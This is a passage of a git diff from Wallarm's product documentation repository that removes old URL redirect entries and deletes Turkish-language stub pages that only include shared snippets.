-/vulnerability-detection/active-threat-verification/running-test-on-staging/ /vulnerability-detection/threat-replay-testing/setup/#host-and-replay-host - -/4.10/vulnerability-detection/active-threat-verification/overview/ /4.10/vulnerability-detection/threat-replay-testing/overview/ -/4.10/vulnerability-detection/active-threat-verification/enable-disable-active-threat-verification/ /4.10/vulnerability-detection/threat-replay-testing/setup/#enable -/4.10/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ /4.10/vulnerability-detection/threat-replay-testing/setup/#rewrites -/4.10/vulnerability-detection/active-threat-verification/running-test-on-staging/ /4.10/vulnerability-detection/threat-replay-testing/setup/#host-and-replay-host -/4.8/vulnerability-detection/active-threat-verification/overview/ /4.8/vulnerability-detection/threat-replay-testing/overview/ -/4.8/vulnerability-detection/active-threat-verification/enable-disable-active-threat-verification/ /4.8/vulnerability-detection/threat-replay-testing/setup/#enable -/4.8/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ /4.8/vulnerability-detection/threat-replay-testing/setup/#rewrites -/4.8/vulnerability-detection/active-threat-verification/running-test-on-staging/ /4.8/vulnerability-detection/threat-replay-testing/setup/#host-and-replay-host -/tr/vulnerability-detection/active-threat-verification/overview/ /tr/vulnerability-detection/threat-replay-testing/overview/ -/tr/vulnerability-detection/active-threat-verification/enable-disable-active-threat-verification/ /tr/vulnerability-detection/threat-replay-testing/setup/#enable -/tr/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ /tr/vulnerability-detection/threat-replay-testing/setup/#rewrites -/tr/vulnerability-detection/active-threat-verification/running-test-on-staging/ /tr/vulnerability-detection/threat-replay-testing/setup/#host-and-replay-host -/pt-br/vulnerability-detection/active-threat-verification/overview/ /pt-br/vulnerability-detection/threat-replay-testing/overview/ -/pt-br/vulnerability-detection/active-threat-verification/enable-disable-active-threat-verification/ /pt-br/vulnerability-detection/threat-replay-testing/setup/#enable -/pt-br/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ /pt-br/vulnerability-detection/threat-replay-testing/setup/#rewrites -/pt-br/vulnerability-detection/active-threat-verification/running-test-on-staging/ /pt-br/vulnerability-detection/threat-replay-testing/setup/#host-and-replay-host -/ja/vulnerability-detection/active-threat-verification/overview/ /ja/vulnerability-detection/threat-replay-testing/overview/ -/ja/vulnerability-detection/active-threat-verification/enable-disable-active-threat-verification/ /ja/vulnerability-detection/threat-replay-testing/setup/#enable -/ja/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ /ja/vulnerability-detection/threat-replay-testing/setup/#rewrites -/ja/vulnerability-detection/active-threat-verification/running-test-on-staging/ /ja/vulnerability-detection/threat-replay-testing/setup/#host-and-replay-host -/ar/vulnerability-detection/active-threat-verification/overview/ /ar/vulnerability-detection/threat-replay-testing/overview/ -/ar/vulnerability-detection/active-threat-verification/enable-disable-active-threat-verification/ /ar/vulnerability-detection/threat-replay-testing/setup/#enable -/ar/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ /ar/vulnerability-detection/threat-replay-testing/setup/#rewrites -/ar/vulnerability-detection/active-threat-verification/running-test-on-staging/ /ar/vulnerability-detection/threat-replay-testing/setup/#host-and-replay-host - -/admin-en/configuration-guides/sso/employ-user-auth/ /admin-en/configuration-guides/sso/intro/#available-options -/admin-en/configuration-guides/sso/change-sso-provider/ /admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/user-guides/use-sso/ /admin-en/configuration-guides/sso/intro/ -/admin-en/configuration-guides/sso/gsuite/* /admin-en/configuration-guides/sso/sso-gsuite/ -/admin-en/configuration-guides/sso/okta/* /admin-en/configuration-guides/sso/sso-okta/ -/4.10/admin-en/configuration-guides/sso/employ-user-auth/ /4.10/admin-en/configuration-guides/sso/intro/#available-options -/4.10/admin-en/configuration-guides/sso/change-sso-provider/ /4.10/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/4.10/user-guides/use-sso/ /4.10/admin-en/configuration-guides/sso/intro/ -/4.10/admin-en/configuration-guides/sso/gsuite/* /4.10/admin-en/configuration-guides/sso/sso-gsuite/ -/4.10/admin-en/configuration-guides/sso/okta/* /4.10/admin-en/configuration-guides/sso/sso-okta/ -/4.8/admin-en/configuration-guides/sso/employ-user-auth/ /4.8/admin-en/configuration-guides/sso/intro/#available-options -/4.8/admin-en/configuration-guides/sso/change-sso-provider/ /4.8/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/4.8/user-guides/use-sso/ /4.8/admin-en/configuration-guides/sso/intro/ -/4.8/admin-en/configuration-guides/sso/gsuite/* /4.8/admin-en/configuration-guides/sso/sso-gsuite/ -/4.8/admin-en/configuration-guides/sso/okta/* /4.8/admin-en/configuration-guides/sso/sso-okta/ -/3.6/admin-en/configuration-guides/sso/employ-user-auth/ /3.6/admin-en/configuration-guides/sso/intro/#available-options -/3.6/admin-en/configuration-guides/sso/change-sso-provider/ /3.6/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/3.6/user-guides/use-sso/ /3.6/admin-en/configuration-guides/sso/intro/ -/3.6/admin-en/configuration-guides/sso/gsuite/* /3.6/admin-en/configuration-guides/sso/sso-gsuite/ -/3.6/admin-en/configuration-guides/sso/okta/* /3.6/admin-en/configuration-guides/sso/sso-okta/ -/2.18/admin-en/configuration-guides/sso/employ-user-auth/ /2.18/admin-en/configuration-guides/sso/intro/#available-options -/2.18/admin-en/configuration-guides/sso/change-sso-provider/ /2.18/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/2.18/user-guides/use-sso/ /2.18/admin-en/configuration-guides/sso/intro/ -/2.18/admin-en/configuration-guides/sso/gsuite/* /2.18/admin-en/configuration-guides/sso/sso-gsuite/ -/2.18/admin-en/configuration-guides/sso/okta/* /2.18/admin-en/configuration-guides/sso/sso-okta/ -/tr/admin-en/configuration-guides/sso/employ-user-auth/ /tr/admin-en/configuration-guides/sso/intro/#available-options -/tr/admin-en/configuration-guides/sso/change-sso-provider/ /tr/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/tr/user-guides/use-sso/ /tr/admin-en/configuration-guides/sso/intro/ -/tr/admin-en/configuration-guides/sso/gsuite/* /tr/admin-en/configuration-guides/sso/sso-gsuite/ -/tr/admin-en/configuration-guides/sso/okta/* /tr/admin-en/configuration-guides/sso/sso-okta/ -/ar/admin-en/configuration-guides/sso/employ-user-auth/ /ar/admin-en/configuration-guides/sso/intro/#available-options -/ar/admin-en/configuration-guides/sso/change-sso-provider/ /ar/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/ar/user-guides/use-sso/ /ar/admin-en/configuration-guides/sso/intro/ -/ar/admin-en/configuration-guides/sso/gsuite/* /ar/admin-en/configuration-guides/sso/sso-gsuite/ -/ar/admin-en/configuration-guides/sso/okta/* /ar/admin-en/configuration-guides/sso/sso-okta/ -/ja/admin-en/configuration-guides/sso/employ-user-auth/ /ja/admin-en/configuration-guides/sso/intro/#available-options -/ja/admin-en/configuration-guides/sso/change-sso-provider/ /ja/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/ja/user-guides/use-sso/ /ja/admin-en/configuration-guides/sso/intro/ -/ja/admin-en/configuration-guides/sso/gsuite/* /ja/admin-en/configuration-guides/sso/sso-gsuite/ -/ja/admin-en/configuration-guides/sso/okta/* /ja/admin-en/configuration-guides/sso/sso-okta/ -/pt-br/admin-en/configuration-guides/sso/employ-user-auth/ /pt-br/admin-en/configuration-guides/sso/intro/#available-options -/pt-br/admin-en/configuration-guides/sso/change-sso-provider/ /pt-br/admin-en/configuration-guides/sso/setup/#disabling-and-deletion -/pt-br/user-guides/use-sso/ /pt-br/admin-en/configuration-guides/sso/intro/ -/pt-br/admin-en/configuration-guides/sso/gsuite/* /pt-br/admin-en/configuration-guides/sso/sso-gsuite/ -/pt-br/admin-en/configuration-guides/sso/okta/* /pt-br/admin-en/configuration-guides/sso/sso-okta/ \ No newline at end of file diff --git a/docs/tr/about-wallarm/api-protection-overview.md b/docs/tr/about-wallarm/api-protection-overview.md deleted file mode 100644 index 9999c7926a..0000000000 --- a/docs/tr/about-wallarm/api-protection-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/about-wallarm/api-protection-overview.md" \ No newline at end of file diff --git a/docs/tr/about-wallarm/credential-stuffing.md b/docs/tr/about-wallarm/credential-stuffing.md deleted file mode 100644 index 37a35d4042..0000000000 --- a/docs/tr/about-wallarm/credential-stuffing.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/about-wallarm/credential-stuffing.md" \ No newline at end of file diff --git a/docs/tr/about-wallarm/data-retention-policy.md b/docs/tr/about-wallarm/data-retention-policy.md deleted file mode 100644 index 08bbff3195..0000000000 --- a/docs/tr/about-wallarm/data-retention-policy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/about-wallarm/data-retention-policy.md" \ No newline at end of file diff --git a/docs/tr/about-wallarm/detecting-vulnerabilities.md b/docs/tr/about-wallarm/detecting-vulnerabilities.md deleted file mode 100644 index f062e9d8bb..0000000000 --- a/docs/tr/about-wallarm/detecting-vulnerabilities.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/about-wallarm/detecting-vulnerabilities.md" \ No newline at end of file diff --git a/docs/tr/about-wallarm/mitigation-controls-overview.md b/docs/tr/about-wallarm/mitigation-controls-overview.md deleted file mode 100644 index 129be7e5d2..0000000000 --- a/docs/tr/about-wallarm/mitigation-controls-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/about-wallarm/mitigation-controls-overview.md" \ No newline at end of file diff --git a/docs/tr/about-wallarm/overview.md b/docs/tr/about-wallarm/overview.md deleted file mode 100644 index 9e8788e738..0000000000 --- a/docs/tr/about-wallarm/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/about-wallarm/overview.md" \ No newline at end of file diff --git a/docs/tr/about-wallarm/protecting-against-attacks.md b/docs/tr/about-wallarm/protecting-against-attacks.md deleted file mode 100644 index 1f5c54d846..0000000000 --- a/docs/tr/about-wallarm/protecting-against-attacks.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/about-wallarm/protecting-against-attacks.md" \ No newline at end of file diff --git a/docs/tr/about-wallarm/shared-responsibility.md b/docs/tr/about-wallarm/shared-responsibility.md deleted file mode 100644 index 38720fc37c..0000000000 --- a/docs/tr/about-wallarm/shared-responsibility.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/about-wallarm/shared-responsibility.md" \ No newline at end of file diff --git a/docs/tr/about-wallarm/subscription-plans.md b/docs/tr/about-wallarm/subscription-plans.md deleted file mode 100644 index 70ed34c328..0000000000 --- a/docs/tr/about-wallarm/subscription-plans.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/about-wallarm/subscription-plans.md" \ No newline at end of file diff --git a/docs/tr/about-wallarm/waap-overview.md b/docs/tr/about-wallarm/waap-overview.md deleted file mode 100644 index 6cac2f00dc..0000000000 --- a/docs/tr/about-wallarm/waap-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/about-wallarm/waap-overview.md" \ No newline at end of file diff --git a/docs/tr/admin-en/apifw-metrics.md b/docs/tr/admin-en/apifw-metrics.md deleted file mode 100644 index 0459b74ebe..0000000000 --- a/docs/tr/admin-en/apifw-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/apifw-metrics.md" \ No newline at end of file diff --git a/docs/tr/admin-en/chaining-wallarm-and-other-ingress-controllers.md b/docs/tr/admin-en/chaining-wallarm-and-other-ingress-controllers.md deleted file mode 100644 index e476ed0300..0000000000 --- a/docs/tr/admin-en/chaining-wallarm-and-other-ingress-controllers.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/chaining-wallarm-and-other-ingress-controllers.md" diff --git a/docs/tr/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md b/docs/tr/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md deleted file mode 100644 index a8e2034752..0000000000 --- a/docs/tr/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/allocate-resources-for-node.md b/docs/tr/admin-en/configuration-guides/allocate-resources-for-node.md deleted file mode 100644 index 94f8d919f5..0000000000 --- a/docs/tr/admin-en/configuration-guides/allocate-resources-for-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/allocate-resources-for-node.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/configure-block-page-and-code.md b/docs/tr/admin-en/configuration-guides/configure-block-page-and-code.md deleted file mode 100644 index 187b2b344b..0000000000 --- a/docs/tr/admin-en/configuration-guides/configure-block-page-and-code.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/configure-block-page-and-code.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/handling-invalid-headers.md b/docs/tr/admin-en/configuration-guides/handling-invalid-headers.md deleted file mode 100644 index e7560d6687..0000000000 --- a/docs/tr/admin-en/configuration-guides/handling-invalid-headers.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/handling-invalid-headers.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/ldap/ldap.md b/docs/tr/admin-en/configuration-guides/ldap/ldap.md deleted file mode 100644 index 58a66a7812..0000000000 --- a/docs/tr/admin-en/configuration-guides/ldap/ldap.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/ldap/ldap.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/protecting-against-bola-trigger.md b/docs/tr/admin-en/configuration-guides/protecting-against-bola-trigger.md deleted file mode 100644 index a4f48f3ca3..0000000000 --- a/docs/tr/admin-en/configuration-guides/protecting-against-bola-trigger.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/protecting-against-bola-trigger.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/protecting-against-bola.md b/docs/tr/admin-en/configuration-guides/protecting-against-bola.md deleted file mode 100644 index d5f731451d..0000000000 --- a/docs/tr/admin-en/configuration-guides/protecting-against-bola.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/protecting-against-bola.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/protecting-against-bruteforce.md b/docs/tr/admin-en/configuration-guides/protecting-against-bruteforce.md deleted file mode 100644 index 5064d91a6c..0000000000 --- a/docs/tr/admin-en/configuration-guides/protecting-against-bruteforce.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/protecting-against-bruteforce.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/protecting-against-ddos.md b/docs/tr/admin-en/configuration-guides/protecting-against-ddos.md deleted file mode 100644 index 0a6d1b86ae..0000000000 --- a/docs/tr/admin-en/configuration-guides/protecting-against-ddos.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/protecting-against-ddos.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/protecting-against-forcedbrowsing.md b/docs/tr/admin-en/configuration-guides/protecting-against-forcedbrowsing.md deleted file mode 100644 index 51103364ef..0000000000 --- a/docs/tr/admin-en/configuration-guides/protecting-against-forcedbrowsing.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/protecting-against-forcedbrowsing.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/protecting-with-thresholds.md b/docs/tr/admin-en/configuration-guides/protecting-with-thresholds.md deleted file mode 100644 index 8ec8589fb5..0000000000 --- a/docs/tr/admin-en/configuration-guides/protecting-with-thresholds.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/protecting-with-thresholds.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/sso/intro.md b/docs/tr/admin-en/configuration-guides/sso/intro.md deleted file mode 100644 index 2fc77665bf..0000000000 --- a/docs/tr/admin-en/configuration-guides/sso/intro.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/sso/intro.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/sso/setup.md b/docs/tr/admin-en/configuration-guides/sso/setup.md deleted file mode 100644 index 9926ecac80..0000000000 --- a/docs/tr/admin-en/configuration-guides/sso/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/sso/setup.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/sso/sso-gsuite.md b/docs/tr/admin-en/configuration-guides/sso/sso-gsuite.md deleted file mode 100644 index a32642a08d..0000000000 --- a/docs/tr/admin-en/configuration-guides/sso/sso-gsuite.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/sso/sso-gsuite.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/sso/sso-okta.md b/docs/tr/admin-en/configuration-guides/sso/sso-okta.md deleted file mode 100644 index a3a79c709c..0000000000 --- a/docs/tr/admin-en/configuration-guides/sso/sso-okta.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/sso/sso-okta.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/sso/troubleshooting.md b/docs/tr/admin-en/configuration-guides/sso/troubleshooting.md deleted file mode 100644 index 6fae428dec..0000000000 --- a/docs/tr/admin-en/configuration-guides/sso/troubleshooting.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/sso/troubleshooting.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md b/docs/tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md deleted file mode 100644 index d801b7416b..0000000000 --- a/docs/tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md" diff --git a/docs/tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md b/docs/tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md deleted file mode 100644 index 3ce1da5c88..0000000000 --- a/docs/tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md" diff --git a/docs/tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md b/docs/tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md deleted file mode 100644 index 38d73a53f3..0000000000 --- a/docs/tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md" diff --git a/docs/tr/admin-en/configure-backup-en.md b/docs/tr/admin-en/configure-backup-en.md deleted file mode 100644 index 4365ee8fea..0000000000 --- a/docs/tr/admin-en/configure-backup-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configure-backup-en.md" diff --git a/docs/tr/admin-en/configure-cloud-node-synchronization-en.md b/docs/tr/admin-en/configure-cloud-node-synchronization-en.md deleted file mode 100644 index ffcfafea54..0000000000 --- a/docs/tr/admin-en/configure-cloud-node-synchronization-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configure-cloud-node-synchronization-en.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configure-dynamic-dns-resolution-nginx.md b/docs/tr/admin-en/configure-dynamic-dns-resolution-nginx.md deleted file mode 100644 index 6defdb296b..0000000000 --- a/docs/tr/admin-en/configure-dynamic-dns-resolution-nginx.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configure-dynamic-dns-resolution-nginx.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configure-kubernetes-en.md b/docs/tr/admin-en/configure-kubernetes-en.md deleted file mode 100644 index f1ffe1c780..0000000000 --- a/docs/tr/admin-en/configure-kubernetes-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configure-kubernetes-en.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configure-logging.md b/docs/tr/admin-en/configure-logging.md deleted file mode 100644 index 40c52544d3..0000000000 --- a/docs/tr/admin-en/configure-logging.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configure-logging.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configure-parameters-en.md b/docs/tr/admin-en/configure-parameters-en.md deleted file mode 100644 index c0e55ad186..0000000000 --- a/docs/tr/admin-en/configure-parameters-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configure-parameters-en.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configure-statistics-service.md b/docs/tr/admin-en/configure-statistics-service.md deleted file mode 100644 index b48fc12e2c..0000000000 --- a/docs/tr/admin-en/configure-statistics-service.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configure-statistics-service.md" \ No newline at end of file diff --git a/docs/tr/admin-en/configure-wallarm-mode.md b/docs/tr/admin-en/configure-wallarm-mode.md deleted file mode 100644 index 564aeb07da..0000000000 --- a/docs/tr/admin-en/configure-wallarm-mode.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/configure-wallarm-mode.md" \ No newline at end of file diff --git a/docs/tr/admin-en/enabling-ja3.md b/docs/tr/admin-en/enabling-ja3.md deleted file mode 100644 index 1c25b4c78a..0000000000 --- a/docs/tr/admin-en/enabling-ja3.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/enabling-ja3.md" \ No newline at end of file diff --git a/docs/tr/admin-en/installation-docker-en.md b/docs/tr/admin-en/installation-docker-en.md deleted file mode 100644 index 73c9167328..0000000000 --- a/docs/tr/admin-en/installation-docker-en.md +++ /dev/null @@ -1,35 +0,0 @@ -[doc-wallarm-mode]: configure-parameters-en.md#wallarm_mode -[doc-config-params]: configure-parameters-en.md -[waf-mode-instr]: configure-wallarm-mode.md -[logging-instr]: configure-logging.md -[proxy-balancer-instr]: using-proxy-or-balancer-en.md -[process-time-limit-instr]: configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: configuration-guides/allocate-resources-for-node.md -[nginx-waf-directives]: configure-parameters-en.md -[mount-config-instr]: #run-the-container-mounting-the-configuration-file -[graylist-docs]: ../user-guides/ip-lists/overview.md -[filtration-modes-docs]: configure-wallarm-mode.md -[application-configuration]: ../user-guides/settings/applications.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[versioning-policy]: ../updating-migrating/versioning-policy.md#version-list -[node-status-docs]: configure-statistics-service.md -[node-token]: ../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../installation/supported-deployment-options.md -[nginx-directives-docs]: configure-parameters-en.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[aws-ecs-docs]: ../installation/cloud-platforms/aws/docker-container.md -[gcp-gce-docs]: ../installation/cloud-platforms/gcp/docker-container.md -[azure-container-docs]: ../installation/cloud-platforms/azure/docker-container.md -[alibaba-ecs-docs]: ../installation/cloud-platforms/alibaba-cloud/docker-container.md -[api-policy-enf-docs]: ../api-specification-enforcement/overview.md -[filtration-modes]: configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../api-discovery/overview.md -[sensitive-data-rule]: ../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../installation/nginx/all-in-one.md#api-discovery-only-mode -[inline-docs]: ../installation/inline/overview.md -[what-is-new-wstore]: ../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics - ---8<-- "latest-tr/admin-en/installation-docker-en.md" \ No newline at end of file diff --git a/docs/tr/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md b/docs/tr/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md deleted file mode 100644 index 7398d13436..0000000000 --- a/docs/tr/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md" diff --git a/docs/tr/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md b/docs/tr/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md deleted file mode 100644 index bc0e58fcd6..0000000000 --- a/docs/tr/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md" diff --git a/docs/tr/admin-en/installation-guides/amazon-cloud/create-image.md b/docs/tr/admin-en/installation-guides/amazon-cloud/create-image.md deleted file mode 100644 index cd56d4a88e..0000000000 --- a/docs/tr/admin-en/installation-guides/amazon-cloud/create-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/installation-guides/amazon-cloud/create-image.md" diff --git a/docs/tr/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md b/docs/tr/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md deleted file mode 100644 index 61b38cf93d..0000000000 --- a/docs/tr/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md" diff --git a/docs/tr/admin-en/installation-guides/google-cloud/autoscaling-overview.md b/docs/tr/admin-en/installation-guides/google-cloud/autoscaling-overview.md deleted file mode 100644 index 77045bcbd9..0000000000 --- a/docs/tr/admin-en/installation-guides/google-cloud/autoscaling-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/installation-guides/google-cloud/autoscaling-overview.md" diff --git a/docs/tr/admin-en/installation-guides/google-cloud/create-image.md b/docs/tr/admin-en/installation-guides/google-cloud/create-image.md deleted file mode 100644 index 7f33af2180..0000000000 --- a/docs/tr/admin-en/installation-guides/google-cloud/create-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/installation-guides/google-cloud/create-image.md" diff --git a/docs/tr/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md b/docs/tr/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md deleted file mode 100644 index 3a9745c45b..0000000000 --- a/docs/tr/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md" diff --git a/docs/tr/admin-en/installation-guides/google-cloud/creating-instance-template.md b/docs/tr/admin-en/installation-guides/google-cloud/creating-instance-template.md deleted file mode 100644 index 80308d4486..0000000000 --- a/docs/tr/admin-en/installation-guides/google-cloud/creating-instance-template.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/installation-guides/google-cloud/creating-instance-template.md" diff --git a/docs/tr/admin-en/installation-guides/google-cloud/load-balancing-guide.md b/docs/tr/admin-en/installation-guides/google-cloud/load-balancing-guide.md deleted file mode 100644 index 3415b79d96..0000000000 --- a/docs/tr/admin-en/installation-guides/google-cloud/load-balancing-guide.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-tr/admin-en/installation-guides/google-cloud/load-balancing-guide.md" diff --git a/docs/tr/admin-en/installation-kubernetes-en.md b/docs/tr/admin-en/installation-kubernetes-en.md deleted file mode 100644 index b508facc9d..0000000000 --- a/docs/tr/admin-en/installation-kubernetes-en.md +++ /dev/null @@ -1,17 +0,0 @@ -[ip-list-docs]: ../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../installation/supported-deployment-options.md -[nginx-ing-image]: ../images/waf-installation/kubernetes/nginx-ingress-controller.png -[nginx-ing-create-node-img]: ../images/user-guides/nodes/create-wallarm-node-name-specified.png -[application-docs]: ../user-guides/settings/applications.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[configure-nginx-ing-controller-docs]: configure-kubernetes-en.md -[controllerwallarmexistingsecret-docs]: configure-kubernetes-en.md#controllerwallarmexistingsecret -[best-practices-for-public-ip]: configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md -[best-practices-for-high-availability]: configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md -[best-practices-for-ingress-monitoring]: configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md -[node-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[chaining-doc]: chaining-wallarm-and-other-ingress-controllers.md -[api-spec-enforcement-docs]: ../api-specification-enforcement/overview.md - ---8<-- "latest-tr/admin-en/installation-kubernetes-en.md" \ No newline at end of file diff --git a/docs/tr/admin-en/installation-postanalytics-en.md b/docs/tr/admin-en/installation-postanalytics-en.md 